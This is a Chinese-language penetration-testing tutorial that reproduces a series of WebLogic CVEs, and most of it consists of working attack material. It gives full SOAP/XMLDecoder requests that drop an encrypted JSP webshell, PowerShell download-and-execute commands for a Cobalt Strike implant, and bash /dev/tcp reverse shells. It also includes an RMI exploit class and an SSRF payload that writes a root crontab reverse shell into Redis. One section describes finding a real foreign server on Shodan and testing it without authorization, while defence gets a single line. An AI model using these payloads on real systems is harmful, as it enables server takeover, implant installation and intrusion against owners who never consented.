本篇文章是WebLogic中间件漏洞复现,记录了近几年来爆出的WebLogic中间件漏洞主要分为六个部分:WebLogic简介、WebLogic安装、WebLogic漏洞复现、WebLogic SSRF联动Redis、WebLogic实战和WebLogic防御措施。
本篇文章由浅入深地介绍了WebLogic的反序列化漏洞,由于Oracle的黑名单处理机制,导致反序列化漏洞频发,在学习WebLogic过程中也阅读了几十篇中英文WebLogic相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的WebLogic中间件渗透学习!!
一、WebLogic简介
WebLogic是美国Oracle公司出品的一个Java应用服务器,是一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。
WebLogic Server具有的优势包括:
对业内多种标准的全面支持,包括EJB、JSP、JMS、JDBC、XML(标准通用标记语言的子集)和WML,使Web应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便。
可扩展性高,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集
可靠性强,其容错、系统管理和安全性能已经在全球数以千计的关键任务环境中得以验证。
关于WebLogic Server的几个基本概念:
Domain: 域是个逻辑概念,用来组织管理一系列的应用服务器实例,也就是下面要解释的server. 域是WebLogic应用服务器中最大的概念,WebLogic应用服务器启动的时候就是以某个域来启动的,它有一个中心配置文件叫config.xml
Cluster: 族也是一个逻辑概念,用来分组用途相同的服务器实例,一个域中可以有多个族。
Machine: 机器是物理上的概念,代表一台运行WebLogic应用服务器的实在的机器,包括其IP地址等信息。一个域中可以包括多台机器。
Server: 服务器,也就是一个应用服务器的实例,用来部署和运行各种J2EE应用程序,也可以来配置各种服务程序。它是WebLogic应用服务器的基本服务单元。一个WebLogic域中一般有一个管理服务器和多个被管理服务器。也就是下面我们要谈到的两个概念。
Administrative Server: 管理服务器是用来管理配置域的中心点,一般来说,管理服务器上是不部署应用程序的,而是用来统一管理、配置、监控被管理服务器以及部署应用程序到被管理服务器上。一个域中有一台管理服务器。
Managed Server: 被管理服务器是用来部署运行各种应用程序的。一个域中有一台或多台被管理服务器。
Node Manager: 节点管理器是一个单独运行的后台程序,一般运行在被管理服务器的机器上,用来提供远程启动和停止服务器(Server)的功能。
目前WebLogic Server较为常见的版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
默认端口:7001
二、软件安装及配置
1、WebLogic10.3.6下载及安装
下载网址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic
和JDK
版本适配关系:(大概的关系,具体到每一个详细的版本,需要去对应测试选择)
WebLogic 14.x 需要 jdk1.8以上
WebLogic 12.x 需要 jdk1.7以上
WebLogic 10.x 需要 jdk1.6以上
安装过程:
这里选择WebLogic Server 10.3.6版本进行安装
复现环境为Win7,选择下图中的版本
1)双击该安装程序下载好该文件,双击该程序
这里简单的操作或者默认下一步就不放图了
2)Preparing the installer|选择中间件主目录
默认下一步,默认安装目录
3)注册安全更新
默认,在跳出的框中选择YES
选择不接收配置中存在的安全问题|No
4)选择安装类型
选择典型
5)选择产品安装目录
默认,下一步
6)选择快捷方式位置
默认,下一步
7)安装概要
默认,进入安装
8)安装完成
默认,下一步
9)Quick Start
选择第一项
10)WebLogic域
默认(创建新的WebLogic域)
11)选择域源
默认,下一步
12)输入域的名称
默认,下一步
13)配置管理员用户名和口令
输入8位的口令
这里我设置xigua123
14)配置服务器启动模式和JDK
选择生产模式
15)选择可选配置
选择前两项
16)配置管理服务器
设置Listen address
为192.168.112.150
(本机IP地址,使用ipconfig
命令查看)
17)配置受管服务器
默认,下一步
18)配置集群
默认,下一步
19)配置计算机
默认,下一步
20)配置概要
默认,开始创建
2、WebLogic10.3.6配置
1)启动weblogic服务
在路径C:\Oracle\Middleware\user_projects\domains\base_domain
下打开startWebLogic.cmd
命令脚本,输入用户名和口令即可启动。
访问192.168.112.150:7001
,回显404,但是7001端口开启
2)网页后台登陆
访问192.168.112.150:7001/console
进入后台登陆页面,用户名和口令就是刚刚设置的weblogic:xigua123
注意点:左下角可以看到版本号
3、WebLogic12.1.3下载及安装
安装的方法类似,简要记录下
1)安装JDK7
2)下载WebLogic12.1.3
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
3)启动安装
下载好后的文件放置到了jdk的bin目录下,省得配环境
4)默认下一步,安装
安装好后,点击完成
5)安装域 - 在开始菜单找到Configuration Wizard
点击启动
6)创建新域
7)管理员账户
模板设置默认下一步,到管理员账户输入登陆口令,设置为xigua123
8)高级配置
域模式默认为"开发模式"和JDK选择默认下一步,到高级配置勾选管理服务器
9)管理服务器
监听地址选择为本地地址192.168.112.179
10)节点服务器
填写用户名和口令,简单填为weblogic和xigua123
11)配置概要、配置进度、配置完毕
均默认下一步,安装域完成~
域位置
C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain
管理服务器URL
http://192.168.112.179:7001/console
4、WebLogic12.1.3配置
1)启动weblogic服务
在目录C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain启动startWebLogic.cmd
访问网址http://192.168.112.179:7001/,启动成功
2)网页后台登陆
访问192.168.112.150:7001/console
进入后台登陆页面,用户名和口令就是刚刚设置的weblogic:xigua123
5、Vulhub靶场安装
参考:vulhub漏洞环境搭建
1、安装Docker
sudo apt install curl
curl -s https://get.docker.com/ | sh
2、安装python和pip
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
3、安装docker-compoe
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
4、vulhub靶场安装
git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build # 构建
sudo docker-compose up -d # 命令启动容器
docker ps # 查看正在运行的容器
sudo docker exec -it b5975a1a5bfe /bin/bash # 进入docker容器内
本机IP为192.168.112.141
参考: Docker容器进入的4种方式
三、WebLogic渗透
1、弱口令登陆部署shell文件
0x01 简介
用户管理员在配置密码时将登陆口令设置为简易的弱口令,这使得攻击者可以很容易的猜解到口令并登陆进后台,通过部署木马文件,拿到shell,进行进一步的渗透
0x02 复现 - 部署shell文件冰蝎连接
1)弱口令登陆后台
2)部署 - 安装
3)上传文件
4)选择shell.war包
5)成功上传
默认下一步
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\upload\shell.war
6)部署为应用程序
7)部署完成
8)冰蝎连接
2、XMLDecoder反序列化漏洞(CVE-2017-3506)
本次漏洞绕过只生效于JDK6,可升级JDK版本至JDK7及以上。
0x01 简介
漏洞简述:WebLogic Server WLS组件在调用XMLDecoder进行解析XML数据时,触发反序列化漏洞进而造成远程命令执行。(WebLogic Server WLS组件对外提供webservice服务,使用XMLDecoder来解析用户传入的XML数据)
漏洞触发点:位于wls-wsat.war
触发漏洞url:http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType(使用post数据包)
漏洞利用:通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
WebLogic Server WLS组件对外提供webservice服务,使用XMLDecoder来解析用户传入的XML数据
0x02 漏洞指纹
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
这些目录定义在web.xml
配置文件中,文件位于路径C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF
中,打开该文件可以看到所配置的网址。
0x03 漏洞复现 - 写入jsp木马文件getshell
1)抓包改包
访问http://192.168.112.150:7001/wls-wsat/CoordinatorPortType页面,存在漏洞
使用burpsuite抓包,修改包内容
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1105
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/xigua.jsp</string>
<void method="println">
<string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2)冰蝎连接
0x04 漏洞复现 - 执行powershell命令上线CS
1)CS生成后门木马文件
2)公网服务器开启简易Web服务器模式
这里由于是复现,使用Kali开启简易Web服务器,将生成的木马放在该目录下,可以访问到
3)powershell下载执行命令
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe
4)抓包修改包
访问http://192.168.112.150:7001/wls-wsat/CoordinatorPortType页面,存在漏洞
使用burpsuite抓包,修改包内容
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 897
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
上线CS成功
3、XMLDecoder反序列化漏洞(CVE-2017-10271)
CVE-2017-10271和上面的CVE-2017-3506利用原理在本质上是一致的,只不过CVE-2017-10271绕过了CVE-2017-3506的补丁
0x01 漏洞复现-反弹shell
靶场IP:192.168.112.144
1)抓包改包发包
访问http://192.168.112.144:7001/wls-wsat/CoordinatorPortType页面,存在漏洞
使用burpsuite抓包,修改包内容
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.112.144:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.112.175/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
0x02 原理分析
参考大佬的文章
Weblogic XMLDecoder RCE分析 (seebug.org)
简单描述:在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。
0x03 小结
这两个CVE漏洞本质上就是反序列化恶意代码xml解析生成了java实例,造成了远程代码执行
4、wls-wsat反序列化漏洞(CVE-2019-2725)
0x01 简介
漏洞简述:
漏洞触发点:bea_wls9_async_response.war、wsat.war
影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
0x02 漏洞指纹
访问以下目录中的一种,有回显如下图则存在该漏洞
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
这些目录定义在C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-IN
F\web.xml
,打开该文件可以看到所配置的网址
0x03 复现 - 上线CS
复现环境:
Win7 192.168.112.150
Kali Linux 192.168.112.175
关键powershell命令如下:
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe
1)访问网页
访问http://192.168.112.150:7001/_async/AsyncResponseService
,存在漏洞
2)burpsuite抓包改包
将POST数据内容改成下面
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.112.150:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3)发包
这里利用的后门木马文件使用上面生成的
0x04 复现 - 反弹shell
复现环境:
Ubuntu_Vulhub 192.168.112.144 Kali Linux 192.168.112.175
1)访问页面
访问http://192.168.112.144:7001/_async/AsyncResponseService
,存在漏洞
2)抓包改包
将POST数据内容改成下面
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.112.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 852
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.112.175/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
0x05 原理分析
参考大佬文章:https://www.freebuf.com/articles/web/202203.html
本次的绕过关键点在于利用了Class元素指定任意类名,在CVE-2017-10271补丁中限制了带method属性的void元素,不能调用指定的方法,只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,进而利用反序列化漏洞造成RCE,通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链,再次完美的绕过了CVE-2017-10271补丁限制。
5、WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)
0x01 简介
Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行
影响版本:10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2
基于Weblogic T3协议引起远程代码执行的反序列化漏洞
同是由WebLogic T3协议引起的反序列化漏洞还有
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2893
CVE-2016-0638
0x02 漏洞指纹
使用脚本CVE-2018-2628-poc.py进行扫描
下载地址:https://github.com/shengqi158/CVE-2018-2628
0x03 复现 - powershell上线CS
1)写入jsp交互文件
使用工具k8weblogicGUI.exe
写入shell的位置:http://192.168.112.150:7001/bea_wls_internal/wlscmd.jsp
2)使用脚本连接得到交互shell
脚本下载地址:https://github.com/jas502n/CVE-2018-2628
3)上线CS
开启简易Web服务
使用powershell命令下载执行木马文件
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-T3.exe');start-process xigua-T3.exe
6、WebLogic 未授权访问漏洞(CVE-2018-2894)
0x01 简介
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,如果是生产模式,需要登陆后台进行配置,如下
影响版本:10.3.6、12.1.3、12.2.1.2、12.2.1.3
0x02 漏洞指纹
该测试页一共有两个,如下
/ws_utc/config.do
/ws_utc/begin.do
因此,这里有两种攻击目标方向,下面的复现分别对config.do和begin.do页面进行未授权访问写入jsp文件进而拿shell
0x03 复现 - config.do - Windows环境上线CS
1)设置Work Home Dir为ws_utc应用的静态文件css目录,点击提交即可
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
2)上传Webshell
在安全 - 添加选择大马jsp文件
3)获取文件ID
提前打开F12开发者工具栏,点击提交后会在"网络"出现一条请求,在其响应报文部分可以看到此文件的ID值(也可以使用burpsuite进行查看)
id: 1624292530214
4)访问文件
访问文件所在的网址
http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}
http://192.168.112.179:7001/ws_utc/css/config/keystore/1624292530214_bighorse.jsp
5)执行powershell命令下载文件上线CS
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-2894.exe');start-process xigua-2894.exe
0x04 复现 - config.do - Linux环境反弹shell
1)开启vulhub靶机环境
sudo docker-compose up -d
2)生产模式下需要先登陆
由于vulhub的weblogic模式为生产模式,需要进行修改,首先先获取到登陆的账号和密码
sudo docker-compose logs | grep password
jTUtVi3E
3)设置Work Home Dir为ws_utc应用的静态文件css目录,点击提交即可
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
4)上传Webshell
上传JspSpy.jsp文件
5)获取文件ID
提前打开F12开发者工具栏,点击提交后会在"网络"出现一条请求,在其响应报文部分可以看到此文件的ID值(也可以使用burpsuite进行查看)
6)访问文件
http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}
http://192.168.112.144:7001/ws_utc/css/config/keystore/1624296413135_JspSpy.jsp
7)反弹shel
0x05 复现 - begin.do - Linux环境冰蝎连接
在开发模式下,前往begin.do页面默认不需要验证
1)选择上传的文件
2)在响应报文中发现文件地址
/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp
3)冰蝎连接
http://192.168.112.144:7001/ws_utc/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp
7、WebLogic SSRF漏洞(CVE-2014-4210)
0x01 简介
Weblogic SSRF漏洞出现在UDDI组件实现包uddiexplorer.war下的SearchPublicRegistries.jsp
0x02 漏洞指纹
访问url:http://192.168.112.144:7001/uddiexplorer/SearchPublicRegistries.jsp
出现下面内容表示存在此SSRF漏洞
0x03 抓包分析
情况一:ssrf请求端口存在,但非http协议
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.
情况二:ssrf请求端口不存在
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;80&#39;
情况三:ssrf请求端口存在,且为http协议
<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.160.2:6379 which did not have a valid SOAP content-type: null.
8、WebLogic Console 权限绕过漏洞&RCE(CVE-2020-14882/14883)
0x01 简介
通过构造恶意的HTTP GET请求,接管WebLogic的Console控制台组件中,不过与正常登陆进去的不一样,没有部署安装的按钮,需要用其他办法拿shell
影响版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0
0x02 漏洞指纹
利用到了CVE-2020-14883: 权限绕过漏洞
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
0x03 复现 - 无回显创建文件
利用到了CVE-2020-14882: 代码执行漏洞
访问下面恶意构造的网址
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/xigua%27);%22);
可以发现创建的文件是oracle用户权限较低权且只有读和写的权限,无可执行权限。
Linux权限位参考:http://c.biancheng.net/view/753.html
0x04 复现 - Linux反弹shell
利用到了CVE-2020-14882: 代码执行漏洞,通过加载远程项XML文件执行反弹shell
# reverse-bash.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.112.175/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
访问下面的网址,加载192.168.112.175上的reverse-bash.xml文件,执行反弹shell
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.112.175/reverse-bash.xml")
以此类推,上线CS则将xml文件内容修改成
# cs.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-14883.exe');start-process xigua-14883.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>
9、IIOP反序列化漏洞(CVE-2020-2551)
0x01 简介
漏洞原理:IIOP协议在调用远程对象的实现中,JtaTransactionManager
未做黑名单过滤导致可以构造任意序列化对象,并且无安全检查
影响版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4
利用过程:
1.通过 Weblogic 的IP与端口通过
weblogic.jndi.WLInitialContextFactory
类进行 IIOP 协议数据交互2.基于
JtaTransactionManager
设置 RMI 加载地址3.通过
ysoserial
构建 Gadgets 并且通过 IIOP 进行绑定,并且触发漏洞
参考大佬文章:
0x02 复现环境 - 安装Javac环境1.8版本
底层原理颇为复杂,目前就先上手复现上线CS和反弹shell,原理剖析部分留到日后
javac:是编译命令,将java源文件编译成.class字节码文件。
java:是运行字节码文件;由java虚拟机对字节码进行解释和运行
这里需要用到jdk1.8版本,对于11版本需要删除重装,建议先存个快照,安装步骤如下:
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
0x03 复现 - Powershell上线CS
1)编写exp.java代码
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c","(new-object System.Net.WebClient).DownloadFile('http://192.168.112.132/xigua.exe','xigua-IIOP.exe');start-process xigua-IIOP.exe"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
2)javac编译exp.java
javac exp.java -source 1.6 -target 1.6
3)启动RMI服务
设置RMI服务端口为7077
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.132/#exp" 7077
4)使用工具 - 上线CS
java -jar weblogic_CVE_2020_2551.jar 192.168.112.179 7001 rmi://192.168.112.132:7077/exp
类似的也可以修改exp代码用于反弹shell
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"bash","-i",">& /dev/tcp/192.168.112.132/6655 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
bash -i >& /dev/tcp/192.168.112.132/6655 0>&1
四、WebLogic SSRF联动Redis
1、复现环境
使用vulhub中weblogic的ssrf靶场,路径为/vulhub/weblogic/ssrf
执行命令下载开启该靶场
# 开启靶场
sudo docker-compose up -d
# 关闭靶场
sudo docker-compose down
# 查看靶场镜像信息
sudo docker ps
2、复现 - crontab反弹shell
通过ssrf探测内网中的redis服务器,发现192.168.160.2:6379
可以连通,如图,这里可以用脚本探测,不过速度较慢,先直接上手
存在redis数据库,直接通过计划任务反弹shell到Kali Linux(192.168.112.175)上
Redis数据库写入crontab内容的命令
# redis命令:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
crontab内容解释:
* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1
前面5个* 表示每一分钟执行一次命令
root 以root权限执行命令
bash... 要执行的命令
crontab表达式参考:https://blog.csdn.net/current_person/article/details/52799687
将Redis命令进行url编码,注意换行符为%0D%0A
# url编码后添加至operator参数后:
operator=http://192.168.160.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.112.175%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
将operator参数添加至GET请求中,发包
等待一分钟后,Linux成功监听到反弹shell
五、WebLogic实战
1、网络空间搜索引擎搜索
使用fofa、shodan和zoomeye等引擎进行搜索
2、关键词搜索
在shodan上输入weblogic,搜索到470361台安装了Weblogic服务的主机,随便拿一台外国的测试测试(全程打码,仅供测试)
存在CVE-2017-3506等漏洞
剩下的留给读者去拓展,利用丰富的搜索语法得到更多详细的信息
六、WebLogic防御措施
1、弱口令
避免使用弱口令作为登陆密码,增强口令的复杂度
